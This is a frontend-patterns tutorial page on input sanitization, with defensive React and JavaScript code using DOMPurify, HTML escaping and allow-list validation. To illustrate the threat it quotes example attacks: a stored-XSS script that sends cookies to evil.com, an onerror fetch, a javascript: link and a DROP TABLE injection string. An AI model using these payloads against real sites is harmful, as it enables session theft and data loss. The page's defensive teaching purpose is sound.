Skip to main content
Saved

Pattern Security Advanced

Input Sanitization

Untrusted user data should be cleaned and validated where it enters your app, before you render or process it. Allow-lists and a well-tested sanitizer make malicious markup harmless, so it can’t run as code.

Examples
React, Vue, Svelte and native web
Read
5 min

The problem

A user sets their display name to <script>document.location='https://evil.com/steal?c='+document.cookie</script>. Your profile page drops that string into innerHTML, and now every visitor who views the profile has their session cookie shipped off to an attacker’s server. This is called stored Cross-Site Scripting (XSS), and it’s especially damaging because the payload is saved in your database and runs automatically each time someone loads that profile.

The pattern

Untrusted input is safest when you check it against an allow-list instead of a deny-list. With an allow-list, you decide what you’ll permit and reject everything else. A deny-list has to name every dangerous pattern, and an attacker only needs to find one you missed. A username allow-list of [a-zA-Z0-9_-] is easy to audit, and the next clever encoding trick won’t get past it.

Problem

There are many more ways in than raw <script> tags. A comment containing <img src=x onerror="fetch('/api/transfer?to=attacker')"> runs JavaScript the moment the broken image fails to load. A profile bio with <a href="javascript:steal()">click me</a> makes an innocent-looking link run code when someone clicks it. Event handler attributes like onclick and onload get scripts past a filter that only looks for the word “script,” and SVG and <iframe> elements each have their own ways of running code. Attackers come up with new variations faster than a deny-list of “known bad” strings can keep up with them.

Injection isn’t limited to the browser, either. The same untrusted name that breaks your page can break your database when it goes into a query unescaped as '; DROP TABLE users;--, and unclosed or deeply nested tags can corrupt your layout or hang the renderer. In each case, you accepted data from someone you don’t control and passed it to an interpreter, such as the HTML parser or the SQL engine, that runs whatever it’s given.

Solution

For plain text, the simplest and safest approach is to never parse it as HTML at all. Setting textContent, or rendering through your framework’s default text binding, makes the browser treat input as literal characters, so <script> shows up on screen as text instead of running. If you need a string of escaped HTML, you can convert the dangerous characters yourself, with < becoming &lt;, > becoming &gt;, & becoming &amp;, " becoming &quot;, and ' becoming &#x27;.

If the feature requires rich text, such as a comment editor or a markdown preview, a maintained sanitizer like DOMPurify is a much safer choice than a regex you write yourself, because regex-based HTML filtering is easy to bypass. DOMPurify parses the input into a DOM, checks it against an allow-list of safe tags and attributes, and strips dangerous elements such as <script> and <iframe>, along with handlers like onerror and onclick and javascript: URLs. The result is markup that’s safe to render.

Beyond that, you should sanitize untrusted data at the boundary where it enters your app, and validate formats against schemas or precise patterns. Database queries should be parameterized instead of built by joining strings together. A Content Security Policy (CSP) header adds another layer of protection on top, because a strict CSP that forbids inline scripts can block an XSS payload even if a bug in your sanitization lets it through.

Example

These examples sanitize untrusted HTML before rendering it. The code is different in each framework, because each one has its own way to render raw HTML, and the sanitizer has to run before it.

Sanitizing Rich Text Before Rendering

import DOMPurify from 'dompurify';

function Comment({ html }) {
  // Sanitize untrusted HTML, then opt in to raw rendering.
  const clean = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'ul', 'ol', 'li'],
    ALLOWED_ATTR: ['href']
  });

  return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}

Escaping HTML Without a Library

If you only need plain text rendered safely, the browser can do the escaping for you. Assigning the input to textContent and then reading back innerHTML makes the browser convert <, >, and & into entities without parsing the input as markup. Quotes come back unchanged, so the result is safe as text inside an element, but it isn’t safe inside an attribute value.

function escapeHTML(input) {
  const el = document.createElement('div');
  // textContent treats input as literal text; innerHTML escapes < > & (not quotes).
  el.textContent = input;
  return el.innerHTML;
}

escapeHTML('<img src=x onerror=alert(1)>');
// => "&lt;img src=x onerror=alert(1)&gt;"  (inert text, never executes)

Validating Formats With an Allow-List

You can reject malformed input at the boundary instead of cleaning it. This check compares each value against a strict pattern of permitted characters, and throws an error for anything that doesn’t match.

const RULES = {
  username: /^[a-zA-Z0-9_-]{3,20}$/,
  email: /^[^\s@]+@[^\s@]+\.[^\s@]+$/
};

function validate(field, value) {
  const pattern = RULES[field];
  if (!pattern || !pattern.test(value)) {
    throw new Error(`Invalid ${field}`);
  }
  return value;
}

validate('username', 'jane_doe-42');         // ok
validate('username', '<script>alert(1)</script>'); // throws: Invalid username

Benefits

  • Sanitizing input stops stored and reflected XSS, because malicious markup is made harmless before the HTML parser ever gets it.
  • Allow-lists keep working as attackers invent new payloads, because you list what’s permitted instead of trying to list everything that’s forbidden.
  • A maintained sanitizer like DOMPurify handles less common attacks, such as SVG payloads and mutation XSS, that homemade filters often miss.
  • Validating formats at the boundary stops bad data early, which prevents security holes and also display bugs later on.
  • Parameterized queries prevent SQL injection, and they keep the database code simple and readable.
  • Sanitization works well alongside output encoding and a strict Content Security Policy, so you have several layers of protection.
  • If you sanitize once at the entry point, the rest of the application can treat the data as trusted, so there are fewer scattered checks to get wrong.

Tradeoffs

  • Sanitization that’s too aggressive can strip legitimate content, and users get frustrated when their formatting or special characters disappear without any explanation.
  • Allow-lists need maintenance, because if you forget to permit a tag or attribute, valid input might get rejected and the support tickets start coming in.
  • Rich-text sanitization is hard enough that you’ll want a library for it, and that’s a dependency your team has to keep updated.
  • Because of mutation XSS and parser quirks, even good sanitizers release security patches, so staying on an old version of DOMPurify is a risk in itself.
  • Sanitized data still needs the right output encoding for wherever it ends up, such as in an HTML attribute or a URL.
  • Sanitizing on the client only protects the client, so the server should validate and sanitize untrusted data too, because attackers can send requests without using your UI at all.
  • If you visibly change user input after it’s submitted, such as by trimming it or stripping tags, people might be confused about why their text changed.
  • Data that’s been sanitized for HTML can still be dangerous if it’s later used somewhere else, such as in a shell command or an email header.
  • Sanitizing large documents adds parsing time, which you might notice when rendering a lot of content or when sanitizing on a busy server.

Summary

Input sanitization protects your app from injection by cleaning untrusted data where it enters, using allow-lists instead of deny-lists. You escape the HTML characters in plain text, and you use a maintained sanitizer like DOMPurify for rich text instead of writing a regex. Sanitization is one layer of protection, alongside format validation, parameterized queries, output encoding, and a strict Content Security Policy, and the same checks need to run on the server as well as on the client.

See also

Next in Security Output Encoding Escaping data for the place it's rendered prevents XSS, because the browser then treats user input as plain text instead of running it as code.

Newsletter

A monthly email
from Den Odell.

Behind-the-scenes thinking on frontend patterns, site updates, and more.

No spam. Unsubscribe anytime.